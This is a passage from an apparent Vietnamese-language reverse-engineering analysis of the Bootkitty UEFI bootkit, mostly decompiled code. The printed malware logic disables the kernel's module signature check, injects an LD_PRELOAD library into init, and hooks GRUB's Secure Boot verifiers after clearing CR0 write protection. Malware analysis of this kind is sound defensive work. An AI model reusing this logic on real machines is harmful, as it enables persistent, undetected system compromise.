*(_DWORD *)(global_kernel_base + 0x19AC5E0) = '1BoB';
*(_BYTE *)(kernel_base + 0x19AC5E4) = '3';
qmemcpy((void *)(kernel_base + 0x29E84A7), "BoB13", 5);
result = kernel_ptr;
// 2. sửa đổi module_sig_check
// | 55 | push rbp |
// | 48:89E5 | mov rbp,rsp |
// | B8 00000000 | mov eax,0 |
// | 5D | pop rbp |
// | C3 | ret |
*(_QWORD *)(kernel_base + 0x3FA4B5) = 0xB8E5894855i64;
*(_DWORD *)(kernel_base + 0x3FA4BD) = 0xC35D00;
*(_QWORD *)(kernel_base + 0x260ED20) = 0xFFFFFFFF82505000ui64;
// 3. sửa đổi biến môi trường đầu tiên của tiến trình init
strcpy((char *)(kernel_base + 0x1705000), "LD_PRELOAD=/opt/injector.so /init");
return result;
}
Các hàm liên quan đến vmlinuz
Trong hook_and_patch_kernel_18000F5C0, xác định hàm _decompress_E26CB0 bên trong vmlinuz,
.text:0000000000E26CB0 ; unsigned __int64 __fastcall _decompress_E26CB0(char *, __int64, unsigned __int64)
.text:0000000000E26CB0 __decompress_E26CB0 proc near ; CODE XREF: xx_decompress_kernel_E28420+2B6↓p
.text:0000000000E26CB0
.text:0000000000E26CB0 var_28 = qword ptr -28h
.text:0000000000E26CB0 var_20 = qword ptr -20h
.text:0000000000E26CB0 var_18 = qword ptr -18h
.text:0000000000E26CB0 var_10 = qword ptr -10h
.text:0000000000E26CB0
.text:0000000000E26CB0 F3 0F 1E FA endbr64
.text:0000000000E26CB4 53 push rbx
.text:0000000000E26CB5 48 89 FB mov rbx, rdi
.text:0000000000E26CB8 48 83 EC 20 sub rsp, 20h
.text:0000000000E26CBC 8B 87 F0 75 00 00 mov eax, [rdi+75F0h]
.text:0000000000E26CC2 83 F8 FF cmp eax, 0FFFFFFFFh
.text:0000000000E26CC5 74 6B jz short loc_E26D32
.text:0000000000E26CC7 83 F8 01 cmp eax, 1
.text:0000000000E26CCA 74 5C jz short loc_E26D28
.text:0000000000E26CCC 48 8B BF D8 75 00 00 mov rdi, [rdi+75D8h]
.text:0000000000E26CD3 4C 89 44 24 18 mov [rsp+28h+var_10], r8
.text:0000000000E26CD8 48 89 4C 24 10 mov [rsp+28h+var_18], rcx
.text:0000000000E26CDD 48 89 54 24 08 mov [rsp+28h+var_20], rdx
.text:0000000000E26CE2 48 89 34 24 mov [rsp+28h+var_28], rsi
.text:0000000000E26CE6 E8 95 A6 FF FF call sub_E21380
.text:0000000000E26CEB 31 C0 xor eax, eax
.text:0000000000E26CED 48 8B 34 24 mov rsi, [rsp+28h+var_28]
.text:0000000000E26CF1 48 8B 54 24 08 mov rdx, [rsp+28h+var_20]
.text:0000000000E26CF6 48 C7 83 D8 75 00 00 00 00 00 mov qword ptr [rbx+75D8h], 0
.text:0000000000E26CF6 00
.text:0000000000E26D01 48 8B 4C 24 10 mov rcx, [rsp+28h+var_18]
.text:0000000000E26D06 48 C7 83 E0 75 00 00 00 00 00 mov qword ptr [rbx+75E0h], 0
.text:0000000000E26D06 00
.text:0000000000E26D11 4C 8B 44 24 18 mov r8, [rsp+28h+var_10]
.text:0000000000E26D16 C7 83 F0 75 00 00 00 00 00 00 mov dword ptr [rbx+75F0h], 0
.text:0000000000E26D20 EB 17 jmp short loc_E26D39
.text:0000000000E26D20 ; ---------------------------------------------------------------------------
.text:0000000000E26D22 66 0F 1F 44 00 00 align 8
.text:0000000000E26D28
.text:0000000000E26D28 loc_E26D28: ; CODE XREF: __decompress_E26CB0+1A↑j
.text:0000000000E26D28 C7 87 F0 75 00 00 00 00 00 00 mov dword ptr [rdi+75F0h], 0
.text:0000000000E26D32
.text:0000000000E26D32 loc_E26D32: ; CODE XREF: __decompress_E26CB0+15↑j
.text:0000000000E26D32 48 8B 83 E0 75 00 00 mov rax, [rbx+75E0h]
.text:0000000000E26D39
.text:0000000000E26D39 loc_E26D39: ; CODE XREF: __decompress_E26CB0+70↑j
.text:0000000000E26D39 50 push rax
.text:0000000000E26D3A 48 89 DF mov rdi, rbx
.text:0000000000E26D3D 45 31 C9 xor r9d, r9d
.text:0000000000E26D40 6A 00 push 0
.text:0000000000E26D42 E8 A9 F9 FF FF call sub_E266F0
.text:0000000000E26D47 48 83 C4 30 add rsp, 30h
.text:0000000000E26D4B 5B pop rbx
.text:0000000000E26D4C C3 retn
.text:0000000000E26D4C __decompress_E26CB0 endp
Thông qua các tham chiếu ngược để đến điểm gọi
// dự đoán decompress_kernel
__int64 __fastcall xx_decompress_kernel_E28420(
unsigned __int64 param_1,
void (*param_2)(void),
void (__fastcall *param_3)(const char *))
{
// [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN KEYPAD CTRL-"+" ĐỂ MỞ RỘNG]
__endbr64();
if ( !qword_E46010 )
{
qword_E46010 = (__int64)&unk_E47040;
qword_E46008 = (__int64)&unk_E47040 + 0x30000;
}
alloc_result = sub_E1E270((int)qword_176C8);
if ( !alloc_result )
{
param_3("Out of memory while allocating zstd_dctx");
return 0xFFFFFFFFFFFFFFFFLL;
}
temp_ptr = (char *)sub_E217C0(alloc_result, qword_176C8);
if ( !temp_ptr )
{
param_3("Out of memory while allocating zstd_dctx");
if ( !--dword_E77050 )
qword_E77058 = qword_E46010;
return 0xFFFFFFFFFFFFFFFFLL;
}
temp_value = sub_E21EE0();
decompress_result = sub_E0D340();
// dự đoán __decompress
if ( decompress_result || (_decompress_E26CB0(temp_ptr, param_1, 0x3D9781CuLL, (char *)&dword_52CC, temp_value), (decompress_result = sub_E0D340()) != 0) )
{
if ( !--dword_E77050 )
qword_E77058 = qword_E46010;
if ( decompress_result >= 0 )
goto LABEL_9;
return 0xFFFFFFFFFFFFFFFFLL;
}
if ( !--dword_E77050 )
qword_E77058 = qword_E46010;
LABEL_9:
elf_header_1 = *(_QWORD *)(param_1 + 0x18);
elf_header_2 = *(_QWORD *)(param_1 + 0x20);
elf_header_3 = *(_QWORD *)(param_1 + 0x38);
// parse_elf
// ELF magic
if ( (unsigned int)*(_QWORD *)param_1 != 0x464C457F )
sub_E29310("Kernel is not a valid ELF file");
elf_alloc = sub_E1E270(0x38 * (unsigned int)(unsigned __int16)elf_header_3);
if ( !elf_alloc )
sub_E29310("Failed to allocate space for phdrs");
sub_E28FF0((char *)elf_alloc, (char *)(param_1 + elf_header_2), 0x38LL * (unsigned __int16)elf_header_3);
if ( (_WORD)elf_header_3 )
{
elf_boundary = elf_alloc + 0x38LL * (unsigned __int16)elf_header_3;
do
{
while ( *(_DWORD *)elf_alloc != 1 )
{
elf_alloc += 0x38LL;
if ( elf_boundary == elf_alloc )
goto LABEL_17;
}
if ( ((unsigned int)&byte_1FFFFF & *(_DWORD *)(elf_alloc + 0x30)) != 0 )
sub_E29310("Alignment of LOAD segment isn't multiple of 2MB");
load_segment_1 = *(_QWORD *)(elf_alloc + 8);
load_segment_2 = *(_QWORD *)(elf_alloc + 0x18);
elf_alloc += 0x38LL;
sub_E28FA0(param_1 + load_segment_2 - 0x1000000, param_1 + load_segment_1, *(_QWORD *)(elf_alloc - 0x18), reloc_param);
}
while ( elf_boundary != elf_alloc );
}
LABEL_17:
// handle_relocations
if ( !--dword_E77050 )
qword_E77058 = qword_E46010;
reloc_base = elf_header_1 - 0x1000000;
reloc_offset = (char *)param_2 + 0xFF000000;
if ( param_2 == (void (*)(void))0x1000000 )
return reloc_base;
reloc_table = (int *)(param_1 + 0x3D97818);
reloc_start = param_1 + 0x2D60000;
reloc_entry = *(int *)(param_1 + 0x3D97818);
for ( reloc_ptr = param_1 + 0x7F000000; (_DWORD)reloc_entry; reloc_entry = *reloc_table )
{
reloc_target = (_DWORD *)(reloc_ptr + reloc_entry);
if ( param_1 > (unsigned __int64)reloc_target || reloc_start < (unsigned __int64)reloc_target )
sub_E29310("32-bit relocation outside of kernel!\n");
reloc_table += 0xFFFFFFFF;
*reloc_target += (_DWORD)reloc_offset;
}
reloc_value = reloc_table[0xFFFFFFFF];
reloc_table_ptr = reloc_table + 0xFFFFFFFF;
if ( (_DWORD)reloc_value )
{
while ( 1 )
{
reloc_target_2 = (_DWORD *)(reloc_ptr + reloc_value);
if ( param_1 > (unsigned __int64)reloc_target_2 || reloc_start < (unsigned __int64)reloc_target_2 )
sub_E29310(&qword_E3E258);
*reloc_target_2 -= (_DWORD)reloc_offset;
reloc_value = reloc_table_ptr[0xFFFFFFFF];
if ( !(_DWORD)reloc_value )
break;
reloc_table_ptr += 0xFFFFFFFF;
}
}
else
{
reloc_table_ptr = reloc_table;
}
reloc_value_2 = reloc_table_ptr[0xFFFFFFFE];
for ( reloc_loop_ptr = reloc_table_ptr + 0xFFFFFFFE; (_DWORD)reloc_value_2; reloc_value_2 = *reloc_loop_ptr )
{
reloc_target_3 = (_QWORD *)(reloc_ptr + reloc_value_2);
if ( param_1 > (unsigned __int64)reloc_target_3 || reloc_start < (unsigned __int64)reloc_target_3 )
sub_E29310("64-bit relocation outside of kernel!\n");
reloc_loop_ptr += 0xFFFFFFFF;
*reloc_target_3 += reloc_offset;
}
return reloc_base;
}
- Gắn hàm shim_lock_verifier_init =================================
__int64 __fastcall hook_grub_2_shim_lock_verifier_init_18000E990(void *ImageBase, unsigned int ImageSize)
{
// [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN KEYPAD CTRL-"+" ĐỂ MỞ RỘNG]
current_ptr = (char *)ImageBase;
if ( !ImageBase )
return 0x8000000000000002ui64;
boundary_ptr = (char *)ImageBase + ImageSize - 0xE;
if ( ImageBase >= boundary_ptr )
return 0x800000000000000Eui64;
while ( 1 )
{
match_count = 0;
temp_ptr = current_ptr;
// F3 0F 1E FA 31 D2 48 89 C8 89 11 0F B7 CE
// .text:0000000000007089 shim_lock_verifier_init_7089 proc near ; DATA XREF: .data:0000000000010978↓o
// .text:0000000000007089 F3 0F 1E FA endbr64
// .text:000000000000708D 31 D2 xor edx, edx
// .text:000000000000708F 48 89 C8 mov rax, rcx
// .text:0000000000007092 89 11 mov [rcx], edx
// .text:0000000000007094 0F B7 CE movzx ecx, si
// .text:0000000000007097 66 83 FE 3E cmp si, 3Eh ; '>'
// .text:000000000000709B 77 2F ja short loc_70CC
// .text:000000000000709D BA 01 00 00 00 mov edx, 1
// .text:00000000000070A2 48 D3 E2 shl rdx, cl
// .text:00000000000070A5 48 B9 15 40 08 C0 2F E0 FF 71 mov rcx, 71FFE02FC0084015h
// .text:00000000000070AF 48 85 CA test rdx, rcx
// .text:00000000000070B2 75 10 jnz short loc_70C4
// .text:00000000000070B4 F7 C2 28 02 44 20 test edx, 20440228h
// .text:00000000000070BA 74 10 jz short loc_70CC
// .text:00000000000070BC C7 00 02 00 00 00 mov dword ptr [rax], 2
// .text:00000000000070C2 EB 25 jmp short loc_70E9
// .text:00000000000070C4 ; ---------------------------------------------------------------------------
// .text:00000000000070C4
// .text:00000000000070C4 loc_70C4: ; CODE XREF: shim_lock_verifier_init_7089+29↑j
// .text:00000000000070C4 C7 00 01 00 00 00 mov dword ptr [rax], 1
// .text:00000000000070CA EB 1D jmp short loc_70E9
// .text:00000000000070CC ; ---------------------------------------------------------------------------
// .text:00000000000070CC
// .text:00000000000070CC loc_70CC: ; CODE XREF: shim_lock_verifier_init_7089+12↑j
// .text:00000000000070CC ; shim_lock_verifier_init_7089+31↑j
// .text:00000000000070CC 48 BE 0E F2 00 00 00 00 00 00 mov rsi, offset aProhibitedBySe ; "prohibited by secure boot policy"
// .text:00000000000070D6 BF 1E 00 00 00 mov edi, 1Eh
// .text:00000000000070DB 31 C0 xor eax, eax
// .text:00000000000070DD 48 BA F4 77 00 00 00 00 00 00 mov rdx, offset sub_77F4
// .text:00000000000070E7 FF E2 jmp rdx
// .text:00000000000070E9 ; ---------------------------------------------------------------------------
// .text:00000000000070E9
// .text:00000000000070E9 loc_70E9: ; CODE XREF: shim_lock_verifier_init_7089+39↑j
// .text:00000000000070E9 ; shim_lock_verifier_init_7089+41↑j
// .text:00000000000070E9 31 C0 xor eax, eax
// .text:00000000000070EB C3 retn
pattern_byte = byte_180012530;
while ( *pattern_byte == (char)0xCC || *temp_ptr == *pattern_byte )
{
next_pattern_byte = pattern_byte[1];
if ( next_pattern_byte != (char)0xCC && temp_ptr[1] != next_pattern_byte )
{
++match_count;
break;
}
pattern_byte += 2;
temp_ptr += 2;
match_count += 2;
if ( match_count >= 0xE )
break;
}
if ( match_count == 0xE )
break;
if ( ++current_ptr >= boundary_ptr )
return 0x800000000000000Eui64;
}
*(_QWORD *)target_address = hook_grub_f2__shim_lock_verifier_init_18000C8A0;
original_grub_f2_180018250 = current_ptr;
tpl_value = gBS->RaiseTPL(0x1Fui64); // gBS->RaiseTPL()
// EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
// NewTpl Mức độ ưu tiên tác vụ mới.
local_flags = flags_180018176;
original_func_ptr = original_grub_f2_180018250;
saved_tpl = tpl_value;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)backup_original_grub_f2_180018240 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
console_output = gST->ConOut;
if ( console_output )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output->OutputString)(console_output, buffer);
}
local_flags = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (local_flags & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)original_func_ptr < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_2,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
console_output_2 = gST->ConOut;
if ( console_output_2 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_2->OutputString)(console_output_2, buffer_2);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( backup_original_grub_f2_180018240 != original_func_ptr )
memmove_1800064F0(backup_original_grub_f2_180018240, original_func_ptr, 0xCui64);
func_ptr = original_grub_f2_180018250;
cr0_value = _readcr0_();
wp_bit_enabled = BYTE2(cr0_value) & 1;
if ( (cr0_value & 0x10000) != 0 )
writecr0_180001010(cr0_value & 0xFFFFFFFFFFFEFFFFui64);
check_flags = flags_180018176;
if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)func_ptr < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_3,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
console_output_3 = gST->ConOut;
if ( console_output_3 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_3->OutputString)(console_output_3, buffer_3);
}
check_flags = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (check_flags & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_4,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
console_output_4 = gST->ConOut;
if ( console_output_4 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_4->OutputString)(console_output_4, buffer_4);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( func_ptr != jmp_rax_trampoline_180012520 )
memmove_1800064F0(func_ptr, (char *)jmp_rax_trampoline_180012520, 0xCui64);
if ( wp_bit_enabled )
{
cr0_value_2 = _readcr0_();
writecr0_180001010(cr0_value_2 | 0x10000);
}
next_instr_ptr = original_grub_f2_180018250 + 2;
cr0_value_3 = _readcr0_();
wp_enabled = BYTE2(cr0_value_3) & 1;
if ( (cr0_value_3 & 0x10000) != 0 )
writecr0_180001010(cr0_value_3 & 0xFFFFFFFFFFFEFFFFui64);
check_flags_2 = flags_180018176;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)next_instr_ptr < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_2,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
console_output_5 = gST->ConOut;
if ( console_output_5 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_5->OutputString)(console_output_5, buffer_2);
}
check_flags_2 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (check_flags_2 & 1) != 0 && ~(unsigned __int64)target_address < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
console_output_6 = gST->ConOut;
if ( console_output_6 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_6->OutputString)(console_output_6, buffer);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( next_instr_ptr != target_address )
memmove_1800064F0(next_instr_ptr, target_address, 8ui64);
if ( !wp_enabled )
return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(saved_tpl);
cr0_value_4 = _readcr0_(); // gBS->RaiseTPL()
// EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
// NewTpl Mức độ ưu tiên tác vụ mới.
writecr0_180001010(cr0_value_4 | 0x10000);
return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(saved_tpl);
}
hook_grub_f2__shim_lock_verifier_init_18000C8A0
shim_lock_verifier_init có chức năng là một phần của cơ chế xác minh shim_lock nội bộ của GRUB – nếu UEFI Secure Boot được bật, nó nên tự động kích hoạt. Nó chịu trách nhiệm quyết định liệu các tệp được cung cấp (ví dụ: mô-đun GRUB, kernel Linux, cấu hình, v.v.) có nên được xác minh trong quá trình khởi động hay không.
Hàm hook đã sửa đổi giá trị trả về của shim_lock_verifier_init, thiết lập cờ đầu ra cho bất kỳ loại tệp nào được cung cấp thành GRUB_VERIFY_FLAGS_SINGLE_CHUNK (giá trị 2), theo tài liệu của GRUB, điều này sẽ làm tăng cường bảo mật hơn nữa.
Điều thú vị là do sau đó hook grub_verifiers_open, nên hàm shim_lock_verifier_init thậm chí không được gọi trong quá trình khởi động,
// static grub_err_t
// shim_lock_verifier_init (grub_file_t io __attribute__ ((unused)),
// enum grub_file_type type,
// void **context __attribute__ ((unused)),
// enum grub_verify_flags *flags)
__int64 __usercall hook_grub_f2__shim_lock_verifier_init_18000C8A0@<rax>(
_DWORD *io@<rdi>,
int type@<esi>,
void *context@<rdx>,
int *flags@<rcx>)
{
// enum grub_verify_flags
// {
// GRUB_VERIFY_FLAGS_NONE = 0,
// GRUB_VERIFY_FLAGS_SKIP_VERIFICATION = 1,
// GRUB_VERIFY_FLAGS_SINGLE_CHUNK = 2,
// /* Defer verification to another authority. */
// GRUB_VERIFY_FLAGS_DEFER_AUTH = 4
// };
*flags = 0;
// GRUB_VERIFY_FLAGS_SINGLE_CHUNK
*flags = 2;
return 0i64;
}
- Gắn hàm grub_verifiers_open ============================
__int64 __fastcall hook_grub_3__grub_verifiers_open_18000E380(void *ImageBase, unsigned int ImageSize)
{
// [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN KEYPAD CTRL-"+" ĐỂ MỞ RỘNG]
ptr = (char *)ImageBase;
if ( !ImageBase )
return 0x8000000000000002ui64;
boundary_ptr = (char *)ImageBase + ImageSize - 0x3B;
if ( ImageBase >= boundary_ptr )
return 0x800000000000000Eui64;
// F3 0F 1E FA CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 48 89 E5 41 57 41 56 41 55 41 54 49 89 FC 53 48 83 EC 28
// .text:000000000000C5E5 grub_verifiers_open_C5E5 proc near ; DATA XREF: sub_C982+4↓o
// .text:000000000000C5E5
// .text:000000000000C5E5 var_44 = dword ptr -44h
// .text:000000000000C5E5 var_3C = dword ptr -3Ch
// .text:000000000000C5E5 var_38 = qword ptr -38h
// .text:000000000000C5E5
// .text:000000000000C5E5 F3 0F 1E FA endbr64
// .text:000000000000C5E9 48 B9 6A F9 00 00 00 00 00 00 mov rcx, offset aFileSTypeD ; "file: %s type: %d\n"
// .text:000000000000C5F3 55 push rbp
// .text:000000000000C5F4 41 89 F1 mov r9d, esi
// .text:000000000000C5F7 31 C0 xor eax, eax
// .text:000000000000C5F9 48 BA 7D F9 00 00 00 00 00 00 mov rdx, offset aVerify ; "verify"
// .text:000000000000C603 49 BA 7C A4 00 00 00 00 00 00 mov r10, offset sub_A47C
// .text:000000000000C60D 48 89 E5 mov rbp, rsp
// .text:000000000000C610 41 57 push r15
// .text:000000000000C612 41 56 push r14
// .text:000000000000C614 41 55 push r13
// .text:000000000000C616 41 54 push r12
// .text:000000000000C618 49 89 FC mov r12, rdi
// .text:000000000000C61B 53 push rbx
// .text:000000000000C61C 48 83 EC 28 sub rsp, 28h
for ( pattern_offset = pattern3__1800124E0 - (_BYTE *)ImageBase; ; --pattern_offset )
{
match_count = 0;
temp_ptr = ptr;
do
{
current_byte = temp_ptr[pattern_offset];
if ( current_byte != (char)0xCC && *temp_ptr != current_byte )
break;
++match_count;
++temp_ptr;
}
while ( match_count < 0x3B );
if ( match_count == 0x3B )
break;
if ( ++ptr >= boundary_ptr )
return 0x800000000000000Eui64;
}
*(_QWORD *)target_address = hook_grub_f3__grub_verifiers_open_18000C8B0;
original_grub_f3_180018260 = ptr;
tpl_value = gBS->RaiseTPL(0x1Fui64); // gBS->RaiseTPL()
// EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
// NewTpl Mức độ ưu tiên tác vụ mới.
local_flags = flags_180018176;
original_func_ptr = original_grub_f3_180018260;
saved_tpl = tpl_value;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)backup_original_grub_f3_180018230 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
console_output = gST->ConOut;
if ( console_output )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output->OutputString)(console_output, buffer);
}
local_flags = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (local_flags & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)original_func_ptr < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_2,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
console_output_2 = gST->ConOut;
if ( console_output_2 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_2->OutputString)(console_output_2, buffer_2);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( backup_original_grub_f3_180018230 != original_func_ptr )
memmove_1800064F0(backup_original_grub_f3_180018230, original_func_ptr, 0xCui64);
func_ptr = original_grub_f3_180018260;
cr0_value = _readcr0_();
wp_bit_enabled = BYTE2(cr0_value) & 1;
if ( (cr0_value & 0x10000) != 0 )
writecr0_180001010(cr0_value & 0xFFFFFFFFFFFEFFFFui64);
check_flags = flags_180018176;
if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)func_ptr < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_3,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
console_output_3 = gST->ConOut;
if ( console_output_3 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_3->OutputString)(console_output_3, buffer_3);
}
check_flags = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (check_flags & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_4,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
console_output_4 = gST->ConOut;
if ( console_output_4 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_4->OutputString)(console_output_4, buffer_4);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( func_ptr != jmp_rax_trampoline_180012520 )
memmove_1800064F0(func_ptr, (char *)jmp_rax_trampoline_180012520, 0xCui64);
if ( wp_bit_enabled )
{
cr0_value_2 = _readcr0_();
writecr0_180001010(cr0_value_2 | 0x10000);
}
next_instr_ptr = original_grub_f3_180018260 + 2;
cr0_value_3 = _readcr0_();
wp_enabled = BYTE2(cr0_value_3) & 1;
if ( (cr0_value_3 & 0x10000) != 0 )
writecr0_180001010(cr0_value_3 & 0xFFFFFFFFFFFEFFFFui64);
check_flags_2 = flags_180018176;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)next_instr_ptr < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer_2,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
console_output_5 = gST->ConOut;
if ( console_output_5 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_5->OutputString)(console_output_5, buffer_2);
}
check_flags_2 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
